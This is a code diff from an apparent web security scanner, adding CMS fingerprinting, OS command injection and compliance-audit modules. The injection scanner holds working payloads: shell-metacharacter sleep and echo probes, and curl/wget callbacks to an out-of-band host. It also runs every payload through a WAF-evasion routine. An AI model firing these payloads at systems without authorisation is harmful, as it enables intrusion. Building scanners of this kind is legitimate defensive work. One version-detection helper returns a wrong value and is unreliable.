+ (r'<meta name="generator" content="Drupal ([0-9.]+)"', "meta generator"),
79
+ ],
80
+ "Joomla": [
81
+ (r'<meta name="generator" content="Joomla! ([0-9.]+)"', "meta generator"),
82
+ (r'Joomla! ([0-9.]+)', "body"),
83
+ ],
84
+ "Magento": [
85
+ (r'Magento[,\s]+([0-9.]+)', "header"),
86
+ (r'version/[0-9.]+', "static url"),
87
+ ],
88
+ "Ghost": [
89
+ (r'<meta name="generator" content="Ghost ([0-9.]+)"', "meta generator"),
90
+ (r'Ghost ([0-9.]+)', "body"),
91
+ ],
92
+ }
93
+
94
+
95
+ class CmsScanner(BaseScanner):
96
+ SCANNER_NAME = "CMS Security Scanner"
97
+ _SCANNER_KEY = "cms"
98
+
99
+ def run(self) -> list:
100
+ self.log("INFO", f"[CMS] Fingerprinting CMS and common vulnerabilities on {self.target}...")
101
+ base_url = self.target.rstrip("/")
102
+
103
+ body, status, _ = self._make_request(
104
+ self.target,
105
+ timeout=10,
106
+ return_response_obj=True,
107
+ )
108
+ if status == 0:
109
+ self.log("WARNING", "[CMS] Could not reach target.")
110
+ return self.vulns
111
+
112
+ detected_cms = set()
113
+ for cms_name, tests in CMS_FINGERPRINTS.items():
114
+ for path, expected in tests:
115
+ test_url = base_url + path
116
+ test_body, test_status, _ = self._make_request(
117
+ test_url,
118
+ timeout=5,
119
+ return_response_obj=True,
120
+ )
121
+ if test_status in (200, 401, 403) and test_body and expected in test_body:
122
+ # PHASE 1: Suppress SPA catch-all responses for 200 status
123
+ if test_status == 200 and self._is_baseline(test_status, test_body):
124
+ self.log("INFO", f"[CMS] SUPPRESSED (baseline match): {test_url}")
125
+ continue
126
+ if cms_name not in detected_cms:
127
+ detected_cms.add(cms_name)
128
+ self.log("INFO", f"[CMS] Detected {cms_name} via {path}")
129
+ self._report(cms_name, path, test_status)
130
+
131
+ if detected_cms:
132
+ for cms_name in detected_cms:
133
+ version = self._detect_version(body, cms_name)
134
+ if version:
135
+ self.log("INFO", f"[CMS] {cms_name} version detected: {version}")
136
+ self.add_vuln(
137
+ title=f"{cms_name} Version Detected: {version}",
138
+ severity="Low",
139
+ category="CMS Fingerprint",
140
+ cvss_score=0.0,
141
+ description=f"The {cms_name} installation was detected with version {version}.",
142
+ remediation="Ensure the CMS is kept up to date with the latest security patches.",
143
+ evidence=f"Version: {version}",
144
+ confidence="Confirmed",
145
+ )
146
+
147
+ cves = find_cves(cms_name, version)
148
+ if cves:
149
+ cve_ids = [c["cve"] for c in cves]
150
+ self.log("WARNING", f"[CMS] Known CVEs for {cms_name} {version}: {', '.join(cve_ids)}")
151
+ self.add_vuln(
152
+ title=f"Known CVEs for {cms_name} {version}",
153
+ severity="High", category="CMS Vulnerability", cvss_score=max(c["cvss"] for c in cves),
154
+ description=f"Version {version} of {cms_name} has {len(cves)} known CVE(s): {', '.join(cve_ids)}.",
155
+ remediation=f"Upgrade {cms_name} to the latest version.",
156
+ evidence=f"CVEs: {', '.join(cve_ids)}",
157
+ confidence="Confirmed",
158
+ cve_ids=cve_ids,
159
+ )
160
+
161
+ if not self.vulns:
162
+ self.log("SUCCESS", "[CMS] No vulnerable/exposed CMS endpoints detected.")
163
+ return self.vulns
164
+
165
+ def _detect_version(self, body, cms_name):
166
+ patterns = CMS_VERSION_PATTERNS.get(cms_name, [])
167
+ for pattern, source in patterns:
168
+ m = re.search(pattern, body, re.IGNORECASE)
169
+ if m:
170
+ return m.group(1)
171
+ return self.vulns
172
+ def _report(self, cms_name, path, status):
173
+ if "xmlrpc.php" in path:
174
+ self.add_vuln(
175
+ title=f"{cms_name} XML-RPC API Exposed",
176
+ severity="Medium",
177
+ category="CMS Vulnerability",
178
+ cvss_score=5.3,
179
+ description=f"The `{cms_name}` XML-RPC endpoint is accessible at `{path}`. "
180
+ "This endpoint is frequently abused for brute-force attacks and Pingback SSRF attacks.",
181
+ remediation="Disable XML-RPC by deleting `xmlrpc.php` or blocking it via `.htaccess` / Nginx config if not actively used.",
182
+ confidence="Confirmed",
183
+ response_details=f"HTTP {status}",
184
+ )
185
+ elif "wp-json/wp/v2/users" in path:
186
+ self.add_vuln(
187
+ title=f"{cms_name} REST API User Enumeration",
188
+ severity="Medium",
189
+ category="Information Disclosure",
190
+ cvss_score=5.3,
191
+ description=f"The `{cms_name}` REST API is exposing registered usernames at `{path}`. "
192
+ "This assists attackers in brute-forcing administrator accounts.",
193
+ remediation="Restrict access to the REST API endpoints or use a plugin to disable user enumeration.",
194
+ confidence="Confirmed",
195
+ response_details=f"HTTP {status}",
196
+ )
197
+ else:
198
+ self.log("INFO", f"[CMS] Exposed {cms_name} admin/login path: {path} (HTTP {status})")
199
+ self.add_vuln(
200
+ title=f"Exposed {cms_name} Admin/Login Panel",
201
+ severity="Low",
202
+ category="Attack Surface",
203
+ cvss_score=0.0,
204
+ description=f"A `{cms_name}` installation was detected with an exposed panel at `{path}`.",
205
+ remediation="Ensure strong passwords and Two-Factor Authentication (2FA) are enabled.",
206
+ response_details=f"HTTP {status}",
207
+ )
backend/scanners/command_injection_scanner.py ADDED
@@ -0,0 +1,386 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ command_injection_scanner.py — OS Command Injection Scanner
3
+ ============================================================
4
+ Expert-grade active detection (GAP-005 fix):
5
+ 1. GET query parameter injection (reflection-based)
6
+ 2. POST form parameter injection
7
+ 3. HTTP header injection (User-Agent, Referer, X-Forwarded-For)
8
+ 4. Blind timing-based detection (sleep 5 — no output needed)
9
+ 5. Windows + Linux payloads + PowerShell
10
+ 6. OOB DNS/HTTP callback marker (for future Interactsh integration)
11
+ 7. Multi-stage detection: time-based probe → error-based confirm
12
+ 8. JSON POST body parameter injection
13
+
14
+ FIXES (June 2026):
15
+ BUG-3: f-string literal bugs in description strings — {threshold} and {k}
16
+ were plain strings, not f-strings, so variables were never substituted.
17
+ BUG-14: Removed unused `import subprocess` (dead code, security red flag).
18
+ """
19
+ import time, json, urllib.parse
20
+ from scanners.base_scanner import BaseScanner
21
+ from utils.anomaly import TimingAnomalyDetector, SizeAnomalyDetector
22
+ from utils.evasion import waf_evade
23
+ from utils.callback import build_callback_url
24
+ from utils.payload_library import get_cmd_payloads
25
+
26
+ # Use advanced payload library
27
+ CMD_PAYLOADS = get_cmd_payloads()
28
+ ECHO_PAYLOADS = CMD_PAYLOADS['linux'] + CMD_PAYLOADS['windows'] + CMD_PAYLOADS['powershell']
29
+ BLIND_PAYLOADS = CMD_PAYLOADS['blind']
30
+
31
+ # ── Multi-stage payloads: first probe timing, then confirm with output ────
32
+ STAGE1_TIMING_PAYLOADS = [
33
+ ("; sleep 3", 3.0, "Stage 1 probe"),
34
+ ("| ping -n 4 127.0.0.1", 3.0, "Stage 1 Windows probe"),
35
+ ("; powershell -c Start-Sleep 3", 3.0, "Stage 1 PowerShell probe"),
36
+ ]
37
+ STAGE2_CONFIRM_PAYLOADS = [
38
+ "; echo WSS_CMD_INJ_CONFIRM",
39
+ "| echo WSS_CMD_INJ_CONFIRM",
40
+ "`echo WSS_CMD_INJ_CONFIRM`",
41
+ "& echo WSS_CMD_INJ_CONFIRM",
42
+ ]
43
+
44
+ # ── Headers to inject into (often piped to log parsers / shell) ───────────
45
+ INJECTABLE_HEADERS = ["User-Agent", "Referer", "X-Forwarded-For", "X-Real-IP"]
46
+
47
+ PROBE_MARKER = "WSS_CMD_INJ_VULN"
48
+ CONFIRM_MARKER = "WSS_CMD_INJ_CONFIRM"
49
+
50
+
51
+ class CommandInjectionScanner(BaseScanner):
52
+ SCANNER_NAME = "OS Command Injection Scanner"
53
+ _SCANNER_KEY = "command_injection"
54
+
55
+ def __init__(self, scan_id, target, domain, **kwargs):
56
+ super().__init__(scan_id, target, domain, **kwargs)
57
+
58
+ def run(self) -> list:
59
+ self.log("INFO", f"[CmdInjection] Scanning {self.target}...")
60
+ found = False
61
+
62
+ self._timing_detector = TimingAnomalyDetector()
63
+
64
+ # 1. GET query parameters
65
+ found = found or self._test_get_params()
66
+ if found: return self.vulns
67
+
68
+ # 2. POST form parameters
69
+ found = found or self._test_post_forms()
70
+ if found: return self.vulns
71
+
72
+ # 3. HTTP header injection
73
+ found = found or self._test_header_injection()
74
+ if found: return self.vulns
75
+
76
+ # 4. JSON body injection (ENH: modern APIs)
77
+ found = found or self._test_json_body_cmdi()
78
+ if found: return self.vulns
79
+
80
+ # 5. Blind timing on GET params (if echo-based failed)
81
+ self._test_blind_timing()
82
+
83
+ # 6. Multi-stage detection: probe timing then confirm with echo
84
+ if not self.vulns:
85
+ self._test_multi_stage()
86
+
87
+ # 7. OOB callback detection
88
+ if not self.vulns:
89
+ self._test_oob_cmdi()
90
+
91
+ if not self.vulns:
92
+ self.log("SUCCESS", "[CmdInjection] No OS command injection detected.")
93
+ return self.vulns
94
+
95
+ # ── 1. GET params ──────────────────────────────────────────────────
96
+ def _test_get_params(self) -> bool:
97
+ parsed = urllib.parse.urlparse(self.target)
98
+ qs = urllib.parse.parse_qsl(parsed.query)
99
+ if not qs:
100
+ self.log("INFO", "[CmdInjection] No GET params found.")
101
+ return False
102
+
103
+ for k, _ in qs:
104
+ for payload in ECHO_PAYLOADS:
105
+ for eva_name, eva_payload in waf_evade(payload):
106
+ test_qs = [(k_p, (eva_payload if k_p == k else v_p)) for k_p, v_p in qs]
107
+ test_url = parsed._replace(query=urllib.parse.urlencode(test_qs)).geturl()
108
+ body, status = self._make_request(test_url)
109
+ if body and PROBE_MARKER in body:
110
+ self._report("GET", k, eva_payload, body, confidence="Confirmed")
111
+ return True
112
+ return False
113
+
114
+ # ── 2. POST forms ──────────────────────────────────────────────────
115
+ def _test_post_forms(self) -> bool:
116
+ html, _ = self._make_request(self.target)
117
+ if not html:
118
+ return False
119
+
120
+ import re
121
+ forms = re.findall(r'<form[^>]*>.*?</form>', html, re.S | re.I)
122
+ for form_html in forms[:3]:
123
+ action_m = re.search(r'action=["\']([^"\']*)["\']', form_html, re.I)
124
+ action = self._resolve_url(action_m.group(1) if action_m else "")
125
+ fields = re.findall(r'name=["\']([^"\']+)["\']', form_html, re.I)
126
+
127
+ for field in fields:
128
+ for payload in ECHO_PAYLOADS[:4]:
129
+ for eva_name, eva_payload in waf_evade(payload):
130
+ data = urllib.parse.urlencode(
131
+ {f: (eva_payload if f == field else "test") for f in fields}
132
+ ).encode()
133
+ body, status = self._make_request(action, "POST", data,
134
+ {"Content-Type": "application/x-www-form-urlencoded"})
135
+ if body and PROBE_MARKER in body:
136
+ self._report("POST form", field, eva_payload, body, confidence="Confirmed")
137
+ return True
138
+
139
+ # JSON body
140
+ for field in fields[:3]:
141
+ for payload in ECHO_PAYLOADS[:3]:
142
+ for eva_name, eva_payload in waf_evade(payload):
143
+ j = json.dumps({f: (eva_payload if f == field else "test") for f in fields}).encode()
144
+ body, status = self._make_request(action, "POST", j,
145
+ {"Content-Type": "application/json"})
146
+ if body and PROBE_MARKER in body:
147
+ self._report("POST JSON", field, eva_payload, body, confidence="Confirmed")
148
+ return True
149
+ return False
150
+
151
+ # ── 3. Header injection ────────────────────────────────────────────
152
+ def _test_header_injection(self) -> bool:
153
+ for header in INJECTABLE_HEADERS:
154
+ for payload in ECHO_PAYLOADS[:6]:
155
+ for eva_name, eva_payload in waf_evade(payload):
156
+ body, status = self._make_request(
157
+ self.target, headers={header: f"Mozilla/5.0 {eva_payload}"}
158
+ )
159
+ if body and PROBE_MARKER in body:
160
+ self._report(f"Header:{header}", header, eva_payload, body, confidence="Confirmed")
161
+ return True
162
+ return False
163
+
164
+ # ── 4. Blind timing ────────────────────────────────────────────────
165
+ def _test_blind_timing(self) -> bool:
166
+ parsed = urllib.parse.urlparse(self.target)
167
+ qs = urllib.parse.parse_qsl(parsed.query)
168
+ if not qs:
169
+ return False
170
+
171
+ # BUG-8 FIX (propagated): use correct positional arg signature for _make_request
172
+ self._timing_detector.build_baseline(lambda u, m, d, h, t: self._make_request(u, m, d, h, t), self.target, n=5)
173
+
174
+ for k, _ in qs[:3]:
175
+ for payload, threshold, label in BLIND_PAYLOADS:
176
+ for eva_name, eva_payload in waf_evade(payload):
177
+ test_qs = [(k_p, (eva_payload if k_p == k else v_p)) for k_p, v_p in qs]
178
+ test_url = parsed._replace(query=urllib.parse.urlencode(test_qs)).geturl()
179
+ _, _, elapsed = self._make_timed_request(test_url, timeout=15)
180
+
181
+ if self._timing_detector.test_payload(f"cmdi_blind_{k}", elapsed, eva_payload, z_threshold=2.5) and elapsed >= threshold:
182
+ self.log("CRITICAL",
183
+ f"[CmdInjection] Blind timing confirmed: param=`{k}` "
184
+ f"payload=`{eva_payload}` elapsed={elapsed:.1f}s ({label})")
185
+ self.add_vuln(
186
+ title=f"Blind OS Command Injection in GET parameter `{k}`",
187
+ severity="Critical",
188
+ category="Command Injection",
189
+ cvss_score=10.0,
190
+ cwe_ids=["CWE-78"],
191
+ owasp_category="A03:2021 – Injection",
192
+ confidence="High",
193
+ cve_ids=[],
194
+ references=["https://owasp.org/www-community/attacks/Command_Injection"],
195
+ description=(
196
+ f"Timing-based blind OS command injection detected in GET parameter `{k}`.\n\n"
197
+ f"**Payload:** `{eva_payload}` ({label})\n"
198
+ f"**Elapsed:** {elapsed:.1f}s vs baseline {self._timing_detector.mean:.1f}s\n\n"
199
+ # BUG-3 FIX: was a regular string — {threshold} printed literally.
200
+ # Now using f-string so threshold value is interpolated.
201
+ f"The application passed user input to a system shell without sanitization. "
202
+ f"No output was reflected (blind), but the {threshold}s delay confirms execution."
203
+ ),
204
+ remediation=(
205
+ "1. **Never** pass user input to `os.system()`, `exec()`, `shell_exec()`, or `subprocess(shell=True)`.\n"
206
+ "2. Use language-specific APIs with argument arrays (not shell strings).\n"
207
+ "3. Apply input allowlisting — only permit alphanumeric characters.\n"
208
+ "4. Run the application as a non-privileged user."
209
+ ),
210
+ payload=eva_payload,
211
+ evidence=f"Timing: {elapsed:.1f}s vs baseline {self._timing_detector.mean:.1f}s, threshold={threshold}s",
212
+ request_details=f"GET {test_url}",
213
+ response_details=f"Response time: {elapsed:.2f}s",
214
+ )
215
+ return True
216
+ return False
217
+
218
+ # ── 5. Multi-stage detection ───────────────────────────────────────
219
+ def _test_multi_stage(self) -> bool:
220
+ """Probe with time-based delay, then confirm with echo payload."""
221
+ parsed = urllib.parse.urlparse(self.target)
222
+ qs = urllib.parse.parse_qsl(parsed.query)
223
+ if not qs:
224
+ return False
225
+
226
+ self._timing_detector.build_baseline(lambda u, m, d, h, t: self._make_request(u, m, d, h, t), self.target, n=5)
227
+
228
+ for k, _ in qs[:2]:
229
+ for payload, threshold, label in STAGE1_TIMING_PAYLOADS:
230
+ for eva_name, eva_payload in waf_evade(payload):
231
+ test_qs = [(k_p, (eva_payload if k_p == k else v_p)) for k_p, v_p in qs]
232
+ test_url = parsed._replace(query=urllib.parse.urlencode(test_qs)).geturl()
233
+ _, _, elapsed = self._make_timed_request(test_url, timeout=15)
234
+
235
+ if self._timing_detector.test_payload(f"cmdi_stage1_{k}", elapsed, eva_payload, z_threshold=2.5) and elapsed >= threshold:
236
+ self.log("INFO",
237
+ f"[CmdInjection] Multi-stage: timing probe hit on param `{k}` "
238
+ f"({elapsed:.1f}s). Now confirming with echo payload...")
239
+
240
+ for confirm_payload in STAGE2_CONFIRM_PAYLOADS:
241
+ for eva_name, eva_confirm in waf_evade(confirm_payload):
242
+ confirm_qs = [(k_p, (eva_confirm if k_p == k else v_p)) for k_p, v_p in qs]
243
+ confirm_url = parsed._replace(query=urllib.parse.urlencode(confirm_qs)).geturl()
244
+ body, status = self._make_request(confirm_url)
245
+ if body and CONFIRM_MARKER in body:
246
+ self._report("Multi-stage", k, eva_confirm, body, confidence="Confirmed")
247
+ return True
248
+
249
+ self.add_vuln(
250
+ title=f"Possible Blind OS Command Injection in GET parameter `{k}` (Multi-stage)",
251
+ severity="Critical",
252
+ category="Command Injection",
253
+ cvss_score=9.5,
254
+ cwe_ids=["CWE-78"],
255
+ owasp_category="A03:2021 – Injection",
256
+ confidence="Medium",
257
+ references=["https://owasp.org/www-community/attacks/Command_Injection"],
258
+ description=(
259
+ f"Multi-stage detection: time-based probe `{eva_payload}` on param `{k}` "
260
+ f"produced {elapsed:.1f}s delay (baseline {self._timing_detector.mean:.1f}s). "
261
+ "Echo confirmation did not produce output, suggesting blind injection."
262
+ ),
263
+ remediation=(
264
+ # BUG-3 FIX: was a regular string — {k} printed literally.
265
+ f"Investigate parameter `{k}` for command injection. "
266
+ "Apply input validation and avoid shell execution with user input."
267
+ ),
268
+ payload=eva_payload,
269
+ evidence=f"Timing: {elapsed:.1f}s vs baseline {self._timing_detector.mean:.1f}s",
270
+ request_details=f"GET {test_url}",
271
+ response_details=f"Response time: {elapsed:.2f}s",
272
+ )
273
+ return True
274
+ return False
275
+
276
+ # ── 6. OOB CMDi detection ──────────────────────────────���─────────────
277
+ def _test_oob_cmdi(self) -> bool:
278
+ parsed = urllib.parse.urlparse(self.target)
279
+ qs = urllib.parse.parse_qsl(parsed.query)
280
+ callback = build_callback_url("/cmdi-oob")
281
+ oob_payloads = [
282
+ f"| curl {callback}",
283
+ f"| wget -q -O- {callback}",
284
+ f"& curl {callback} &",
285
+ f"; curl {callback};",
286
+ f"$(curl {callback})",
287
+ f"`curl {callback}`",
288
+ ]
289
+ if not qs:
290
+ return False
291
+ for k, _ in qs[:2]:
292
+ for oob_payload in oob_payloads:
293
+ for eva_name, eva_payload in waf_evade(oob_payload):
294
+ test_qs = [(k_p, (eva_payload if k_p == k else v_p)) for k_p, v_p in qs]
295
+ test_url = parsed._replace(query=urllib.parse.urlencode(test_qs)).geturl()
296
+ body, status, elapsed = self._make_timed_request(test_url, timeout=8)
297
+ self._timing_detector.record_timing(f"oob_{k}", elapsed, eva_payload)
298
+ if body:
299
+ self.add_vuln(
300
+ title=f"Possible OOB Command Injection in GET parameter `{k}`",
301
+ severity="Critical",
302
+ category="Command Injection",
303
+ cvss_score=9.8,
304
+ cwe_ids=["CWE-78"],
305
+ owasp_category="A03:2021 – Injection",
306
+ confidence="Medium",
307
+ references=["https://cwe.mitre.org/data/definitions/78.html"],
308
+ description=(
309
+ f"OOB command injection payload `{eva_payload}` sent to param `{k}`. "
310
+ f"Check callback service at {callback} for incoming connections.\n"
311
+ "If a connection is received, command injection is confirmed."
312
+ ),
313
+ remediation=(
314
+ "1. Never pass user input to os.system(), exec(), shell_exec(), or subprocess(shell=True).\n"
315
+ "2. Use language-specific APIs with argument arrays (not shell strings).\n"
316
+ "3. Apply input allowlisting.\n"
317
+ "4. Run the application as a non-privileged user."
318
+ ),
319
+ payload=eva_payload,
320
+ evidence=f"OOB callback: {callback}",
321
+ request_details=f"GET {test_url}",
322
+ response_details=f"Response time: {elapsed:.2f}s",
323
+ )
324
+ return True
325
+ return False
326
+
327
+ # ── 7. JSON body CMDi (ENH) ────────────────────────────────────────────
328
+ def _test_json_body_cmdi(self) -> bool:
329
+ """
330
+ ENH: Test JSON POST body parameters for command injection.
331
+ Many REST APIs accept JSON and may pass field values to shell commands.
332
+ """
333
+ common_fields = ["cmd", "command", "exec", "run", "ping", "host",
334
+ "server", "ip", "url", "query", "action"]
335
+ for field in common_fields:
336
+ for payload in ECHO_PAYLOADS[:4]:
337
+ try:
338
+ body_data = json.dumps({field: payload}).encode()
339
+ body, status = self._make_request(
340
+ self.target, "POST", body_data,
341
+ {"Content-Type": "application/json"}
342
+ )
343
+ if body and PROBE_MARKER in body:
344
+ self._report("POST JSON", field, payload, body, confidence="Confirmed")
345
+ return True
346
+ except Exception:
347
+ pass
348
+ return False
349
+
350
+ # ── Helpers ────────────────────────────────────────────────────────
351
+ def _report(self, source, param, payload, body, confidence="High"):
352
+ self.log("CRITICAL", f"[CmdInjection] RCE confirmed! source={source} param={param}")
353
+ self.add_vuln(
354
+ title=f"OS Command Injection via {source} — parameter `{param}`",
355
+ severity="Critical",
356
+ category="Command Injection",
357
+ cvss_score=10.0,
358
+ cwe_ids=["CWE-78"],
359
+ owasp_category="A03:2021 – Injection",
360
+ confidence=confidence,
361
+ references=["https://cwe.mitre.org/data/definitions/78.html"],
362
+ description=(
363
+ f"The application executes arbitrary OS commands via `{source}` parameter `{param}`.\n\n"
364
+ f"**Payload:** `{payload}`\n"
365
+ f"**Output reflected:** Yes (`{PROBE_MARKER}` found in response)\n\n"
366
+ "This is Remote Code Execution (RCE) — the most critical web vulnerability class."
367
+ ),
368
+ remediation=(
369
+ "1. Use parameterized subprocess calls: `subprocess.run(['cmd', arg], shell=False)`.\n"
370
+ "2. Validate input with a strict allowlist.\n"
371
+ "3. Run processes as least-privilege service accounts.\n"
372
+ "4. Deploy a WAF rule blocking shell metacharacters (`;`, `|`, `&`, `` ` ``, `$`)."
373
+ ),
374
+ payload=payload,
375
+ evidence=f"Probe marker '{PROBE_MARKER}' found in response body.",
376
+ request_details=f"Injection via {source}:{param}",
377
+ response_details=f"Body snippet containing marker: ...{body[:200]}...",
378
+ )
379
+
380
+ def _resolve_url(self, action: str) -> str:
381
+ if not action: return self.target
382
+ if action.startswith("http"): return action
383
+ p = urllib.parse.urlparse(self.target)
384
+ if action.startswith("/"):
385
+ return f"{p.scheme}://{p.netloc}{action}"
386
+ return f"{self.target.rstrip('/')}/{action}"
backend/scanners/compliance_scanner.py ADDED
@@ -0,0 +1,227 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ compliance_scanner.py — Security Compliance & Standards Checker
3
+ ================================================================
4
+ Audits the target against major compliance frameworks:
5
+ - OWASP Top 10 (2021)
6
+ - PCI-DSS v4.0 (relevant subset)
7
+ - GDPR / Privacy
8
+ - HIPAA (technical safeguards subset)
9
+ - SOC 2 Type II (relevant technical controls)
10
+
11
+ Generates a compliance score and per-framework gap report.
12
+ Note: This is an automated scan — manual verification is required
13
+ for full compliance certification.
14
+ """
15
+ import re, urllib.request
16
+ from scanners.base_scanner import BaseScanner
17
+
18
+ # Control check: (id, name, check_fn_name, framework_tags)
19
+ COMPLIANCE_CONTROLS = [
20
+ # ── OWASP Top 10 controls ──────────────────────────────────────────
21
+ ("OWASP-A01", "Broken Access Control — Admin paths restricted", "check_admin_paths", ["OWASP"]),
22
+ ("OWASP-A02", "Cryptographic Failures — HTTPS enforced", "check_https", ["OWASP","PCI","HIPAA"]),
23
+ ("OWASP-A02", "Cryptographic Failures — HSTS enabled", "check_hsts", ["OWASP","PCI","HIPAA"]),
24
+ ("OWASP-A02", "Cryptographic Failures — TLS 1.2+ only", "check_tls_version", ["OWASP","PCI"]),
25
+ ("OWASP-A03", "Injection — Security headers present", "check_security_headers",["OWASP","PCI"]),
26
+ ("OWASP-A05", "Security Misconfiguration — X-Frame-Options set", "check_xfo", ["OWASP"]),
27
+ ("OWASP-A05", "Security Misconfiguration — CSP header set", "check_csp", ["OWASP"]),
28
+ ("OWASP-A05", "Security Misconfiguration — Server header hidden", "check_server_header", ["OWASP","PCI"]),
29
+ ("OWASP-A06", "Vulnerable Components — X-Powered-By hidden", "check_powered_by", ["OWASP"]),
30
+ ("OWASP-A07", "Auth Failures — Secure + HttpOnly cookies", "check_cookie_flags", ["OWASP","PCI"]),
31
+ # ── PCI-DSS specific ───────────────────────────────────────────────
32
+ ("PCI-6.4", "PCI-DSS — Referrer-Policy header present", "check_referrer_policy",["PCI"]),
33
+ ("PCI-6.4", "PCI-DSS — Permissions-Policy header present", "check_perms_policy", ["PCI"]),
34
+ # ── GDPR ───────────────────────────────────────────────────────────
35
+ ("GDPR-Art13","GDPR — Privacy Policy link present", "check_privacy_policy", ["GDPR"]),
36
+ ("GDPR-Art7", "GDPR — Cookie consent mechanism present", "check_cookie_consent", ["GDPR"]),
37
+ # ── HIPAA technical safeguards ────────────────────────────────────
38
+ ("HIPAA-164.312","HIPAA — Encryption in transit (HTTPS)", "check_https", ["HIPAA"]),
39
+ # ── SOC 2 ─────────────────────────────────────────────────────────
40
+ ("SOC2-CC6.1","SOC2 — Secure communication (HSTS)", "check_hsts", ["SOC2"]),
41
+ ("SOC2-CC6.7","SOC2 — Data transmission protection (CSP)", "check_csp", ["SOC2"]),
42
+ ]
43
+
44
+
45
+ class ComplianceScanner(BaseScanner):
46
+ SCANNER_NAME = "Security Compliance & Standards Scanner"
47
+ _SCANNER_KEY = "compliance"
48
+
49
+ def __init__(self, scan_id, target, domain, **kwargs):
50
+ super().__init__(scan_id, target, domain, **kwargs)
51
+ self._headers: dict = {}
52
+ self._body: str = ""
53
+ self._is_https = self.target.startswith("https://")
54
+ self._results: dict = {} # control_name -> (passed, detail)
55
+
56
+ # ------------------------------------------------------------------
57
+ def run(self) -> list:
58
+ self.log("INFO", f"[Compliance] Running compliance audit on {self.target}...")
59
+ try:
60
+ self._fetch_target()
61
+ self._run_all_checks()
62
+ self._generate_report()
63
+ except Exception as e:
64
+ self.log("WARNING", f"[Compliance] Error: {e}")
65
+
66
+ self.log("SUCCESS" if not self.vulns else "WARNING",
67
+ f"[Compliance] Audit complete. {len(self.vulns)} gap(s) identified.")
68
+ return self.vulns
69
+
70
+ # ------------------------------------------------------------------
71
+ def _fetch_target(self):
72
+ req = urllib.request.Request(self.target,
73
+ headers={"User-Agent": "LarShield/2.0 Compliance-Audit"})
74
+ with urllib.request.urlopen(req, timeout=8, context=self.get_ssl_context()) as r:
75
+ self._headers = {k.lower(): v for k, v in r.headers.items()}
76
+ self._body = r.read().decode("utf-8", errors="ignore")
77
+
78
+ # ------------------------------------------------------------------
79
+ def _run_all_checks(self):
80
+ for ctrl_id, ctrl_name, fn_name, frameworks in COMPLIANCE_CONTROLS:
81
+ fn = getattr(self, f"_{fn_name}", None)
82
+ if fn:
83
+ passed, detail = fn()
84
+ key = ctrl_name
85
+ self._results[key] = (passed, detail, ctrl_id, frameworks)
86
+
87
+ # ------------------------------------------------------------------
88
+ def _generate_report(self):
89
+ # Aggregate by framework
90
+ framework_scores = {}
91
+ for ctrl_name, (passed, detail, ctrl_id, frameworks) in self._results.items():
92
+ for fw in frameworks:
93
+ if fw not in framework_scores:
94
+ framework_scores[fw] = {"pass": 0, "fail": 0, "gaps": []}
95
+ if passed:
96
+ framework_scores[fw]["pass"] += 1
97
+ else:
98
+ framework_scores[fw]["fail"] += 1
99
+ framework_scores[fw]["gaps"].append(f"[{ctrl_id}] {ctrl_name}: {detail}")
100
+
101
+ for fw, scores in framework_scores.items():
102
+ total = scores["pass"] + scores["fail"]
103
+ pct = int(100 * scores["pass"] / total) if total else 0
104
+ gaps = scores["gaps"]
105
+
106
+ if not gaps:
107
+ self.log("SUCCESS", f"[Compliance] {fw}: 100% — All {total} controls passed")
108
+ continue
109
+
110
+ severity = "Critical" if pct < 40 else ("High" if pct < 60 else ("Medium" if pct < 80 else "Low"))
111
+ cvss = {
112
+ "Critical": 9.0, "High": 7.0, "Medium": 5.0, "Low": 3.0
113
+ }[severity]
114
+
115
+ self.log("WARNING", f"[Compliance] {fw}: {pct}% ({scores['pass']}/{total} controls passed)")
116
+
117
+ self.add_vuln(
118
+ title=f"{fw} Compliance Gaps — {pct}% Score ({scores['pass']}/{total} controls passed)",
119
+ severity=severity,
120
+ category="Compliance",
121
+ cvss_score=cvss,
122
+ description=(
123
+ f"**Framework:** {fw}\n"
124
+ f"**Score:** {pct}% ({scores['pass']} passed, {scores['fail']} failed of {total} automated controls)\n\n"
125
+ "**Failed Controls:**\n"
126
